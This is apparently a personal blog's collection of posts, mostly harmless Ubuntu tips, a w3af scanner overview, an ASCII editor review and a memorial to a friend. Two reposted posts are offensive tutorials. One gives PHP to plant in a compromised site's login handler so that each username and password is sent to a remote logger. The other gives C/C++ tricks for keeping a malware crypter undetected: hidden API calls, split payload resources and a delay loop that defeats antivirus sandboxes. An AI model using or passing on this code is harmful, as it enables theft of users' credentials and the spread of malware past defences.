Web Application Attacking and Auditing with W3af Framework.

w3af is a Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.

W3af is the tool written totally in Python and supports many techniques for detecting and exploiting the web based vulnerabilities.
Framework features

w3af provides plugin writers with this features:
urllib2 wrapper
In order to send requests to the remote server w3af uses urllib2. The xUrllib module of w3af is a wrapper of urllib2 to make the plugin writer life easier, using this wrapper a plugin writer can forget about proxy's, proxy auth, basic/digest auth, etc. This is the complete list of features provided by xUrllib:

- Proxy
- Proxy auth ( basic and digest )
- Site auth ( basic and digest )
- Gracefully handle timeouts
- UserAgent faking
- Add custom headers to requests
- Cookie handling
- Local cache for GET and HEAD requests
- Local dns cache, this will speed up scannings. Only one request is made to the DNS server
- Keep-alive support fot http and https connections
- File upload using multipart POST requests
- SSL certificate support

Output Management
w3af provides plugin writers with an abstraction layer for data output using the Output Manager. The output manager can also be extended using plugins and can be used for writing results to a txt/html file or sending them over the network using scp, the options are endless. Available ouput plugins are:
- Console
- Text file

Web Service support
w3af knows how to parse WSDL files, and audit webservices. Plugin developers can write a simple plugin that will be able to find bugs in web services and also in common HTTP applications.

HTTP headers fuzzing
w3af supports finding bugs in HTTP headers with great ease!

IPC
IPC ( inter plugin communication :P) can easily be done using the knowledge base, another w3af feature thats really usefull for plugin developers.

Session saving
Framework parameters can be saved to a file using the sessionManager. After that, you can load the settings and start the same scan again without configuring all parameters.

Fuzzer
Right now w3af has a really simple fuzzer, but we have plans to extend it. Fuzzers are great, we know it.

HTML / WML parsing
w3af provides HTML / WML parsing features that are really easy to use.

To install w3af under your ubuntu, type the following in the terminal.

sudo apt-get install w3af


Visit w3af homepage



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Cool ASCII Arts Using JAVE: A Free ASCII Editor

JavE is a free Ascii Editor. Rather than for editing texts, it is intended for drawing simple diagrams by using Ascii characters.
It is like a graphics editor for editing texts instead of images.

JavE is written in 100% pure Java and so should run on almost every operating system.
It is a standalone application and not available as applet.

Features

Freehand painting by mouse
FIGlet support - 195 fonts included
GIF/JPG/BMP to Ascii conversion with multiple options
crash recovery - edited documents can be recovered by JavE when starting the next time
Free shape selection tool
Easy textbox editing (borders, move, rescale)
Extendable clipart library
Export for multiple purposes (HTML, Java/C++/C/... comment)
move/copy/mirror/flip/rot13/...
And many many more - check it out!

Download Page of JavE



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How to add Alt key support in Photoshop Under Ubuntu

If you are using wine to run photoshop under your linux distribution, you might have come across this unfriendly problem of Alt key not working in photoshop. Alt key combination is very useful in photoshop as the shortcut to different tasks such as subtraction from selection and other tools and you might want to see this alt key working as per your wish.

The fix is pretty simple. By default, the window movement key is set to Alt because of which you can't use Alt key as you wish. But we can change this setting by going to System->Preferences->Windows. Under the Movement key, select the Super(i.e. windows logo) as the default movement key and now you can use the Alt key normally in photoshop. I've tested this in CS2 under ubuntu 10.10 but I guess it would work with any other versions as well.

I hope this helps some of you. :)

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Installing nepali fonts in ubuntu

The default font installation folder in linux is /usr/share/fonts and if you want to add any new fonts, you need to copy the font files in this directory. We are dealing with installing nepali truetype fonts so our installation directory is /usr/share/fonts/truetype.

Press Alt+F2 and type gksudo nautilus /usr/share/fonts/truetype which will open the nautilus file explorer. Now copy all the *.ttf files into that folder and restart any program you want the fonts to be used in.

Another method which would make the fonts available only for the logged in user is by making a font directory in the home folder. First, create the new folder in the home directory.

mkdir ~/.fonts

Now, copy paste all the *.ttf files to this folder and restart any application where you want to use that font.

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How to steal password from login form

This article is written by neutralised of thesoftwareengineer.org but the domain has already expired so I thought to put this article here so that this small piece of information for beginner web hackers won't die.

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[+] Login Form Password Stealing - Tutorial
[+] Author: Neutralise
[+] Location: http://thesoftwareengineer.org/services/tuts/LoginFormPassStealing.txt
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Intro:
It seems that alot of people these days are gaining shell access, downloading a database then attempting to crack the hashes. If they are salted, sha1 or a hard to crack plain ole' MD5, they start bitchin and moaning when they can't get the plain text. So here it is, a tutorial on how to get user:pass format in plain text of ANY hash type.

Method:
Modify the login form of a site to catch the password remotely, before it is encrypted. I will explain this more simply via an example.
Take the following login form for example,

<form method="post" action="cookies.php">
<hr />
<p>
User: <input type="text" class="buttonstyle" name="username"></p>
<p>
Pass: <input type="password" class="buttonstyle" name="password"></p>
<p>
<input type="submit" value="Login" class="buttonstyle" name="submit"> 

<input type="reset" value="Reset" class="buttonstyle" /></p>
</form>

Now we can see that the action of this form points to 'cookies.php'. Now cookies.php will probably include a function similar to this depending on the encryption type, etc.

<?php
$user = $_POST['username'];
$pass = $_POST['password'];
if(md5($user) == $usermd5 && md5($pass) == $passmd5){
setcookie("Whatever", $cookie, time()+3600, "/");
header("Location: index.php");
die();
}
?>

Now on to bypassing the encryption before it happens, thus gaining the username and password in plain text we need to edit the 'cookie.php' site, add the following code at the start of the php tags.

<?php
$user = $_POST['username'];
$pass = $_POST['password'];
file_get_contents("http://site.com/plain.php?user=".$user."&pass=".$pass."");
?>>

Now the php file 'plain.php' will include the following code:

<?php
$user = $_GET['user'];
$pass = $_GET['pass'];
$file = "lol.txt";
$fp = fopen($file, "a");
fputs($fp, "$user:$pass\n");
fclose($fp);
?>>

Notice you will also need to upload a file 'lol.txt', and chmod it to 777.

Conclusion:
Now every time a user logs into the site you are editing the code of, it will send the username and password to the 'plain.php' text file and save it in 'log.txt', on a remoteserver in the format of:
user:pass

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[+]^Neutralised.
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How to keep your crypter undetected or nearly FUD

This article is written by NoX of XR offensive security team and I found it to be rare and pretty interesting. I hope you will love this article.

In this I will show you how I kept my "Crypter" Fully UnDetected.

Alll source is in C/C++

So there are 3 main ways Anti Viruses will detect your software:

1: With a "signature" (some bytes/pattern of bytes in your binary)
2: Heuristics ("generic detection designed to detect new or previously unseen malware")
3: Running it in a VM (The anti virus will run your software in a fake environment and see what it does)

This is how i combated these...

1 - "signature"
This one is easy, just write your own code
(The whole point of a crypter is to hide a signature anyway)

2 - Heuristics
Ok the 2 types of things I found anti viruses picked up with heuristics was

A - Windows APIs
To combat this you can simple use the GetProcAddress() and GetModuleHandle() API
I found if you use it like this most anti viruses still detect it

GetProcAddress(GetModuleHandle("module name"), "method name");

But when I did it like these they would no longer detect it

char szModuleName[] = "module name";
char szMethodName[] = "method name";
GetProcAddress(GetModuleHandle(szModuleName), szMethodName);

This is a full example of using this technice to hide an API from a anti virus

typedef BOOL (WINAPI *__CreateProcess)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
const char szCreateProcessA[] = "CreateProcessA";
const char szKernel32[] = "kernel32.dll";
__CreateProcess _CreateProcess = (__CreateProcess)GetProcAddress(GetModuleHandle(sz Kernel32), szCreateProcessA);

Now u can replace all your calls of "CreateProcess()" with "_CreateProcess" =)
if u want to go over-kill u can also encrypt the string you use to load the function eg "CreateProcessA" and "kernel32.dll" when you define them as variables. then decrypt them before you call the GetProcAddress and GetModuleHandle... but I found this was not needed.

Also people say the methods and varible names should be something not sus, but I didn't find this as a problem.

B - Large RCDATA resources on the file
When I had a large RCDATA resource on the .exe anti viruses would flag it as a dropper. To fix this I simple split the rouses up into severale sperate resources less then 500kb each but 1000kb would probs be safe.
(I was using resources to store the crypted payload/exe in)

3 - Running it in a VM
There are lots of fancy ways to detect VMs them end your process early if you find that you are in one. But the VMs will update and your method will stop working and you wont be able to write code for every single VM

Common ways of detect VMs is to look up system variables that are known for the particular VM and then "return 0" if they are found.

I found a lot simpler way to bypass these VMs where to make them time out.
As a antivius software needs to be able to real time scan all .EXEs before you run then and not use much system resources to do this you can simple add a few seconds of useless code at the start of your software.

I used this

for ( int d = 0; d < 5000000; d++ )
{
int x = 1;
int y = x;
delete &x;
delete &y;
}

All this is a for loop that runs 5000000 and does some junk in it. It takes ~2 seconds to run and bypasses all known Antivirus VMs all the online multi scanners I have tried. What you do can be different and SHOULD be different as if every one used the same thing we would create a "signature". But basically a long loop that would take ~1-3 seconds should do. I personally think the delay of ~2 seconds is worth bypassing all the anti viruses ~50% of anivirus use a VM to detect malware these days... (I base this on nothing :)
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How to find version of your ubuntu installation

In order to find the version of the ubuntu installation, you can follow any of two easy steps. The first easier way is to go to System->About Ubuntu where the version of your ubuntu installation will be shown. The next way is to view the content of the file that stores the version name of your ubuntu.

To find ubuntu version from terminal, you can type:

cat /etc/issue

/etc/issue file holds the issue/version information of your ubuntu installation.

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We'll always miss you Narendra

On March 30, one of our beloved friends Narendra Bist(2046/12/15 B.S.-2067/12/16 B.S.) had to lose his life just one day after his birthday celebration and we all the classmates are in deep shock and we can't still believe that the accident happened. I still think he's still watching movies in his room as he always does.

Well, please do not take this as april 1 post, it is just the co-incidence

Narendra Bist was one of our close friends and my neighbor in the hostel and we always used to have little chit chats everyday and its been so hard for me to believe that he has passed away. He was too young to die and I can't understand why the f**king god takes good people away from us. Now I feel that there must be one chance for anyone who dies so that he/she can return again.

He was pulled by the water stream while swimming and he could not swim out from the evil water stream in Indrawati river at Dolalghat. But, the ultimate reason for his death is Kathmandu University administration as KU admin was acting so lame. We continuously had 1 month long strike in the university and KU admin didn't show any responsibility in opening the university. The students had to find some way of time-pass and our friend lost his life because of this.

There's nothing we can do now. We just keep on thinking "if we could do". Only thing we can do is take lesson from this accident.

Few photos of our beloved Narendra Bist(You will see he is too young and innocent to die this young):

My all time favorite "Too much love will kill you" by Queen:



We'll always miss you Narendra. With love.
C.E. 09

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